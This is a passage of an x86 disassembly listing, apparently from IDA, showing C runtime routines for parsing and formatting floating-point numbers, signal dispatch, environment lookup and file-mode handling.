sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425C11: ; CODE XREF: sub_425A21+1DDj
mov bl, [edi]
inc edi
jmp short loc_425BCF
; ---------------------------------------------------------------------------
loc_425C16: ; CODE XREF: sub_425A21+18Cj
; sub_425A21+1D7j
cmp bl, 2Bh
jz loc_425B29
cmp bl, 2Dh
jz loc_425B29
jmp loc_425B02
; ---------------------------------------------------------------------------
loc_425C2D: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
cmp dword_43F1F4, edx ; jumptable 00425A84 case 5
mov [ebp+var_24], edx
jle short loc_425C49
movzx eax, bl
push esi
push eax
call sub_41FD15
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425C57
; ---------------------------------------------------------------------------
loc_425C49: ; CODE XREF: sub_425A21+215j
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425C57: ; CODE XREF: sub_425A21+226j
test eax, eax
jz loc_425D09
mov eax, esi
jmp short loc_425CBA
; ---------------------------------------------------------------------------
loc_425C63: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
lea ecx, [edi-2] ; jumptable 00425A84 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425C73
cmp bl, 39h
jle short loc_425CB7
loc_425C73: ; CODE XREF: sub_425A21+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425CEF
dec eax
dec eax
jz short loc_425CE3
sub eax, 3
jnz loc_425D97
loc_425C88: ; CODE XREF: sub_425A21+2A4j
push 8
jmp short loc_425CF1
; ---------------------------------------------------------------------------
loc_425C8C: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
mov [ebp+var_20], edx ; jumptable 00425A84 case 8
loc_425C8F: ; CODE XREF: sub_425A21+276j
cmp bl, 30h
jnz short loc_425C99
mov bl, [edi]
inc edi
jmp short loc_425C8F
; ---------------------------------------------------------------------------
loc_425C99: ; CODE XREF: sub_425A21+271j
cmp bl, 31h
jl loc_425D94
cmp bl, 39h
jg loc_425D94
jmp short loc_425CB7
; ---------------------------------------------------------------------------
loc_425CAD: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
cmp bl, 31h ; jumptable 00425A84 case 7
jl short loc_425CC0
cmp bl, 39h
jg short loc_425CC0
loc_425CB7: ; CODE XREF: sub_425A21+250j
; sub_425A21+28Aj
push 9
loc_425CB9: ; CODE XREF: sub_425A21+76j
pop eax
loc_425CBA: ; CODE XREF: sub_425A21+240j
dec edi
jmp loc_425A78
; ---------------------------------------------------------------------------
loc_425CC0: ; CODE XREF: sub_425A21+28Fj
; sub_425A21+294j
cmp bl, 30h
jnz short loc_425D09
jmp short loc_425C88
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
cmp [ebp+arg_18], 0 ; jumptable 00425A84 case 11
jz short loc_425CF7
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425CEF
dec eax
dec eax
jnz loc_425D97
loc_425CE3: ; CODE XREF: sub_425A21+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425A78
; ---------------------------------------------------------------------------
loc_425CEF: ; CODE XREF: sub_425A21+258j
; sub_425A21+2B8j
push 7
loc_425CF1: ; CODE XREF: sub_425A21+85j
; sub_425A21+103j ...
pop eax
jmp loc_425A78
; ---------------------------------------------------------------------------
loc_425CF7: ; CODE XREF: sub_425A21+2AAj
push 0Ah
dec edi
pop eax
loc_425CFB: ; CODE XREF: sub_425A21+5Dj
; sub_425A21+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425A84 case 10
jz loc_425D99
jmp loc_425A78
; ---------------------------------------------------------------------------
loc_425D09: ; CODE XREF: sub_425A21+12Dj
; sub_425A21+238j ...
mov edi, [ebp+arg_8]
jmp loc_425D99
; ---------------------------------------------------------------------------
loc_425D11: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
mov [ebp+var_20], 1 ; jumptable 00425A84 case 9
xor esi, esi
loc_425D1A: ; CODE XREF: sub_425A21+339j
cmp dword_43F1F4, 1
jle short loc_425D32
movzx eax, bl
push 4
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_425D41
; ---------------------------------------------------------------------------
loc_425D32: ; CODE XREF: sub_425A21+300j
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425D41: ; CODE XREF: sub_425A21+30Fj
test eax, eax
jz short loc_425D61
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_425D5C
mov bl, [edi]
inc edi
jmp short loc_425D1A
; ---------------------------------------------------------------------------
loc_425D5C: ; CODE XREF: sub_425A21+334j
mov esi, 1451h
loc_425D61: ; CODE XREF: sub_425A21+322j
mov [ebp+var_1C], esi
loc_425D64: ; CODE XREF: sub_425A21+371j
cmp dword_43F1F4, 1
jle short loc_425D7C
movzx eax, bl
push 4
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_425D8B
; ---------------------------------------------------------------------------
loc_425D7C: ; CODE XREF: sub_425A21+34Aj
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425D8B: ; CODE XREF: sub_425A21+359j
test eax, eax
jz short loc_425D94
mov bl, [edi]
inc edi
jmp short loc_425D64
; ---------------------------------------------------------------------------
loc_425D94: ; CODE XREF: sub_425A21+99j
; sub_425A21+E4j ...
dec edi
jmp short loc_425D99
; ---------------------------------------------------------------------------
loc_425D97: ; CODE XREF: sub_425A21+261j
; sub_425A21+2BCj
mov edi, ecx
loc_425D99: ; CODE XREF: sub_425A21+2DDj
; sub_425A21+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425E81
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425DC5
cmp [ebp+var_45], 5
jl short loc_425DB9
inc [ebp+var_45]
loc_425DB9: ; CODE XREF: sub_425A21+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425DC8
; ---------------------------------------------------------------------------
loc_425DC5: ; CODE XREF: sub_425A21+38Dj
mov eax, [ebp+var_C]
loc_425DC8: ; CODE XREF: sub_425A21+3A2j
cmp [ebp+var_4], 0
jbe loc_425E77
loc_425DD2: ; CODE XREF: sub_425A21+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425DE0
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425DD2
; ---------------------------------------------------------------------------
loc_425DE0: ; CODE XREF: sub_425A21+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42595A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425DFF
neg eax
loc_425DFF: ; CODE XREF: sub_425A21+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_425E0A
add eax, [ebp+arg_10]
loc_425E0A: ; CODE XREF: sub_425A21+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425E12
sub eax, [ebp+arg_14]
loc_425E12: ; CODE XREF: sub_425A21+3ECj
cmp eax, 1450h
jle short loc_425E49
mov [ebp+var_2C], 1
loc_425E20: ; CODE XREF: sub_425A21+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_425E2C: ; CODE XREF: sub_425A21+454j
; sub_425A21+45Ej
cmp [ebp+var_2C], 0
jz short loc_425E92
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425EA7
; ---------------------------------------------------------------------------
loc_425E49: ; CODE XREF: sub_425A21+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425E59
mov [ebp+var_30], 1
jmp short loc_425E20
; ---------------------------------------------------------------------------
loc_425E59: ; CODE XREF: sub_425A21+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42660A
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_425E2C
; ---------------------------------------------------------------------------
loc_425E77: ; CODE XREF: sub_425A21+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_425E2C
; ---------------------------------------------------------------------------
loc_425E81: ; CODE XREF: sub_425A21+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425EA7
; ---------------------------------------------------------------------------
loc_425E92: ; CODE XREF: sub_425A21+40Fj
cmp [ebp+var_30], 0
jz short loc_425EA7
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425EA7: ; CODE XREF: sub_425A21+426j
; sub_425A21+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_425A21 endp
; ---------------------------------------------------------------------------
off_425EC2 dd offset loc_425A8B ; DATA XREF: sub_425A21+63r
dd offset loc_425ADA ; jump table for switch statement
dd offset loc_425B31
dd offset loc_425B5B
dd offset loc_425BB6
dd offset loc_425C2D
dd offset loc_425C63
dd offset loc_425CAD
dd offset loc_425C8C
dd offset loc_425D11
dd offset loc_425CFB
dd offset loc_425CC7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425EF2 proc near ; CODE XREF: sub_424E19+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425F54
mov byte ptr [ebx+2], 2Dh
jmp short loc_425F58
; ---------------------------------------------------------------------------
loc_425F54: ; CODE XREF: sub_425EF2+5Aj
mov byte ptr [ebx+2], 20h
loc_425F58: ; CODE XREF: sub_425EF2+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_425F7E
test edi, edi
jnz short loc_425F7E
cmp [ebp+arg_0], edi
jnz short loc_425F7E
loc_425F69: ; CODE XREF: sub_425EF2+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42617C
; ---------------------------------------------------------------------------
loc_425F7E: ; CODE XREF: sub_425EF2+6Cj
; sub_425EF2+70j ...
cmp dx, si
jnz short loc_425FFD
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425F97
cmp [ebp+arg_0], 0
jz short loc_425FA6
loc_425F97: ; CODE XREF: sub_425EF2+9Dj
test edi, 40000000h
jnz short loc_425FA6
push offset a1Snan ; "1#SNAN"
jmp short loc_425FEC
; ---------------------------------------------------------------------------
loc_425FA6: ; CODE XREF: sub_425EF2+A3j
; sub_425EF2+ABj
test cx, cx
jz short loc_425FC0
cmp edi, 0C0000000h
jnz short loc_425FC0
cmp [ebp+arg_0], 0
jnz short loc_425FE7
push offset a1Ind ; "1#IND"
jmp short loc_425FCF
; ---------------------------------------------------------------------------
loc_425FC0: ; CODE XREF: sub_425EF2+B7j
; sub_425EF2+BFj
cmp edi, eax
jnz short loc_425FE7
cmp [ebp+arg_0], 0
jnz short loc_425FE7
push offset a1Inf ; "1#INF"
loc_425FCF: ; CODE XREF: sub_425EF2+CCj
lea eax, [ebx+4]
push eax
call sub_41C680
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425FDE: ; CODE XREF: sub_425EF2+109j
and [ebp+var_4], 0
jmp loc_426155
; ---------------------------------------------------------------------------
loc_425FE7: ; CODE XREF: sub_425EF2+C5j
; sub_425EF2+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425FEC: ; CODE XREF: sub_425EF2+B2j
lea eax, [ebx+4]
push eax
call sub_41C680
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425FDE
; ---------------------------------------------------------------------------
loc_425FFD: ; CODE XREF: sub_425EF2+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42660A
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42605E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_4263EA
pop ecx
pop ecx
loc_42605E: ; CODE XREF: sub_425EF2+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_426078
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_42607B
jmp loc_425F69
; ---------------------------------------------------------------------------
loc_426078: ; CODE XREF: sub_425EF2+173j
mov edi, [ebp+arg_C]
loc_42607B: ; CODE XREF: sub_425EF2+17Fj
cmp edi, 15h
jle short loc_426083
push 15h
pop edi
loc_426083: ; CODE XREF: sub_425EF2+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_426099: ; CODE XREF: sub_425EF2+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4258FF
dec [ebp+arg_14]
pop ecx
jnz short loc_426099
test esi, esi
jge short loc_4260C3
neg esi
and esi, 0FFh
jle short loc_4260C3
loc_4260B6: ; CODE XREF: sub_425EF2+1CFj
lea eax, [ebp+var_10]
push eax
call sub_42592D
dec esi
pop ecx
jnz short loc_4260B6
loc_4260C3: ; CODE XREF: sub_425EF2+1B8j
; sub_425EF2+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_426120
mov [ebp+arg_C], ecx
loc_4260D3: ; CODE XREF: sub_425EF2+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4258FF
lea eax, [ebp+var_10]
push eax
call sub_4258FF
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_4258A1
lea eax, [ebp+var_10]
push eax
call sub_4258FF
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4260D3
mov eax, [ebp+arg_14]
loc_426120: ; CODE XREF: sub_425EF2+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_42615D
loc_42612D: ; CODE XREF: sub_425EF2+248j
cmp eax, ecx
jb short loc_426140
cmp byte ptr [eax], 39h
jnz short loc_42613C
mov byte ptr [eax], 30h
dec eax
jmp short loc_42612D
; ---------------------------------------------------------------------------
loc_42613C: ; CODE XREF: sub_425EF2+242j
cmp eax, ecx
jnb short loc_426144
loc_426140: ; CODE XREF: sub_425EF2+23Dj
inc eax
inc word ptr [ebx]
loc_426144: ; CODE XREF: sub_425EF2+24Cj
inc byte ptr [eax]
loc_426146: ; CODE XREF: sub_425EF2+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_426155: ; CODE XREF: sub_425EF2+F0j
mov eax, [ebp+var_4]
loc_426158: ; CODE XREF: sub_425EF2+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42615D: ; CODE XREF: sub_425EF2+239j
; sub_425EF2+275j
cmp eax, ecx
jb short loc_42616D
cmp byte ptr [eax], 30h
jnz short loc_426169
dec eax
jmp short loc_42615D
; ---------------------------------------------------------------------------
loc_426169: ; CODE XREF: sub_425EF2+272j
cmp eax, ecx
jnb short loc_426146
loc_42616D: ; CODE XREF: sub_425EF2+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42617C: ; CODE XREF: sub_425EF2+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_426158
sub_425EF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426185 proc near ; CODE XREF: sub_422D5C+229Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4261EC
dec eax
dec eax
jz short loc_4261DD
sub eax, 4
jz short loc_4261DD
sub eax, 3
jz short loc_4261DD
sub eax, 4
jz short loc_4261D0
sub eax, 6
jz short loc_4261C3
dec eax
jz short loc_4261B6
or eax, 0FFFFFFFFh
jmp loc_4262AE
; ---------------------------------------------------------------------------
loc_4261B6: ; CODE XREF: sub_426185+27j
mov esi, dword_4DE334
mov eax, offset dword_4DE334
jmp short loc_4261F7
; ---------------------------------------------------------------------------
loc_4261C3: ; CODE XREF: sub_426185+24j
mov esi, dword_4DE330
mov eax, offset dword_4DE330
jmp short loc_4261F7
; ---------------------------------------------------------------------------
loc_4261D0: ; CODE XREF: sub_426185+1Fj
mov esi, dword_4DE338
mov eax, offset dword_4DE338
jmp short loc_4261F7
; ---------------------------------------------------------------------------
loc_4261DD: ; CODE XREF: sub_426185+10j
; sub_426185+15j ...
push edi
call sub_4262B2
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4261F7
; ---------------------------------------------------------------------------
loc_4261EC: ; CODE XREF: sub_426185+Cj
mov esi, dword_4DE32C
mov eax, offset dword_4DE32C
loc_4261F7: ; CODE XREF: sub_426185+3Cj
; sub_426185+49j ...
cmp esi, 1
jnz short loc_426203
xor eax, eax
jmp loc_4262AE
; ---------------------------------------------------------------------------
loc_426203: ; CODE XREF: sub_426185+75j
test esi, esi
jnz short loc_42620E
push 3
call sub_41BF92
loc_42620E: ; CODE XREF: sub_426185+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_426220
cmp edi, 0Bh
jz short loc_426220
cmp edi, 4
jnz short loc_426246
loc_426220: ; CODE XREF: sub_426185+8Fj
; sub_426185+94j
mov ebx, dword_4DE10C
and dword_4DE10C, 0
cmp edi, ecx
jnz short loc_426275
mov edx, dword_43F8BC
mov dword_43F8BC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_426249
; ---------------------------------------------------------------------------
loc_426246: ; CODE XREF: sub_426185+99j
mov ebx, [ebp+arg_0]
loc_426249: ; CODE XREF: sub_426185+BFj
cmp edi, ecx
jnz short loc_426275
mov eax, dword_43F8B0
mov ecx, dword_43F8B4
add ecx, eax
cmp eax, ecx
jge short loc_42627C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43F840h[edx*4]
loc_42626A: ; CODE XREF: sub_426185+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_42626A
jmp short loc_42627C
; ---------------------------------------------------------------------------
loc_426275: ; CODE XREF: sub_426185+AAj
; sub_426185+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_42628A
loc_42627C: ; CODE XREF: sub_426185+D7j
; sub_426185+EEj
push dword_43F8BC
push 8
call esi
pop ecx
pop ecx
jmp short loc_426298
; ---------------------------------------------------------------------------
loc_42628A: ; CODE XREF: sub_426185+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_426298
cmp edi, 4
jnz short loc_4262AB
loc_426298: ; CODE XREF: sub_426185+103j
; sub_426185+10Cj
cmp edi, 8
mov dword_4DE10C, ebx
jnz short loc_4262AB
mov eax, [ebp+arg_0]
mov dword_43F8BC, eax
loc_4262AB: ; CODE XREF: sub_426185+111j
; sub_426185+11Cj
xor eax, eax
pop ebx
loc_4262AE: ; CODE XREF: sub_426185+2Cj
; sub_426185+79j
pop edi
pop esi
pop ebp
retn
sub_426185 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262B2 proc near ; CODE XREF: sub_426185+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43F8B8
cmp dword_43F83C, edx
push esi
mov eax, offset dword_43F838
jz short loc_4262E0
lea esi, [ecx+ecx*2]
lea esi, ds:43F838h[esi*4]
loc_4262D4: ; CODE XREF: sub_4262B2+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_4262E0
cmp [eax+4], edx
jnz short loc_4262D4
loc_4262E0: ; CODE XREF: sub_4262B2+16j
; sub_4262B2+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43F838h[ecx*4]
cmp eax, ecx
jnb short loc_4262F4
cmp [eax+4], edx
jz short locret_4262F6
loc_4262F4: ; CODE XREF: sub_4262B2+3Bj
xor eax, eax
locret_4262F6: ; CODE XREF: sub_4262B2+40j
retn
sub_4262B2 endp
; =============== S U B R O U T I N E =======================================
sub_4262F7 proc near ; CODE XREF: sub_42501C+23p
arg_0 = dword ptr 4
cmp dword_4DF6D0, 0
push ebx
push esi
mov esi, dword_4DE054
push edi
jz short loc_42636E
test esi, esi
jnz short loc_426328
cmp dword_4DE05C, esi
jz short loc_42636E
call sub_4266C5
test eax, eax
jnz short loc_42636E
mov esi, dword_4DE054
test esi, esi
jz short loc_42636E
loc_426328: ; CODE XREF: sub_4262F7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_42636E
push ebx
call sub_41B7B0
pop ecx
mov edi, eax
loc_426339: ; CODE XREF: sub_4262F7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_42636E
push eax
call sub_41B7B0
cmp eax, edi
pop ecx
jbe short loc_426361
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_426361
push edi
push ebx
push eax
call sub_426686
add esp, 0Ch
test eax, eax
jz short loc_426366
loc_426361: ; CODE XREF: sub_4262F7+51j
; sub_4262F7+59j
add esi, 4
jmp short loc_426339
; ---------------------------------------------------------------------------
loc_426366: ; CODE XREF: sub_4262F7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_426370
; ---------------------------------------------------------------------------
loc_42636E: ; CODE XREF: sub_4262F7+10j
; sub_4262F7+1Cj ...
xor eax, eax
loc_426370: ; CODE XREF: sub_4262F7+75j
pop edi
pop esi
pop ebx
retn
sub_4262F7 endp
; =============== S U B R O U T I N E =======================================
sub_426374 proc near ; CODE XREF: sub_42573A+8Bp
; sub_42573A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DE460
jnb short loc_4263DB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DE360[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_4263DB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_4263B4
and cl, 7Fh
jmp short loc_4263C1
; ---------------------------------------------------------------------------
loc_4263B4: ; CODE XREF: sub_426374+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_4263CF
or cl, 80h
loc_4263C1: ; CODE XREF: sub_426374+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4263CF: ; CODE XREF: sub_426374+48j
mov dword_4DE02C, 16h
jmp short loc_4263E5
; ---------------------------------------------------------------------------
loc_4263DB: ; CODE XREF: sub_426374+Bj
; sub_426374+27j
mov dword_4DE02C, 9
loc_4263E5: ; CODE XREF: sub_426374+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_426374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263EA proc near ; CODE XREF: sub_425EF2+165p
; sub_42660A+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_4265EA
cmp cx, 7FFFh
jnb loc_4265EA
cmp dx, 0BFFDh
ja loc_4265EA
cmp dx, 3FBFh
ja short loc_426453
xor eax, eax
jmp short loc_42648D
; ---------------------------------------------------------------------------
loc_426453: ; CODE XREF: sub_4263EA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_426475
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_426475
xor eax, eax
cmp [esi+4], eax
jnz short loc_426477
cmp [esi], eax
jnz short loc_426477
jmp loc_4265E4
; ---------------------------------------------------------------------------
loc_426475: ; CODE XREF: sub_4263EA+71j
; sub_4263EA+79j
xor eax, eax
loc_426477: ; CODE XREF: sub_4263EA+80j
; sub_4263EA+84j
cmp cx, ax
jnz short loc_42649A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_42649A
cmp [ebx+4], eax
jnz short loc_42649A
cmp [ebx], eax
jnz short loc_42649A
loc_42648D: ; CODE XREF: sub_4263EA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426605
; ---------------------------------------------------------------------------
loc_42649A: ; CODE XREF: sub_4263EA+90j
; sub_4263EA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_4264AA: ; CODE XREF: sub_4263EA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_4264FE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_4264C6: ; CODE XREF: sub_4263EA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425880
add esp, 0Ch
test eax, eax
jz short loc_4264F1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_4264F1: ; CODE XREF: sub_4263EA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_4264C6
loc_4264FE: ; CODE XREF: sub_4263EA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_4264AA
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_426541
loc_42651C: ; CODE XREF: sub_4263EA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_42653A
lea eax, [ebp+var_24]
push eax
call sub_4258FF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_42651C
loc_42653A: ; CODE XREF: sub_4263EA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_42657A
loc_426541: ; CODE XREF: sub_4263EA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_42657A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_42655A: ; CODE XREF: sub_4263EA+184j
test byte ptr [ebp+var_24], 1
jz short loc_426563
inc [ebp+var_14]
loc_426563: ; CODE XREF: sub_4263EA+174j
lea eax, [ebp+var_24]
push eax
call sub_42592D
dec ebx
pop ecx
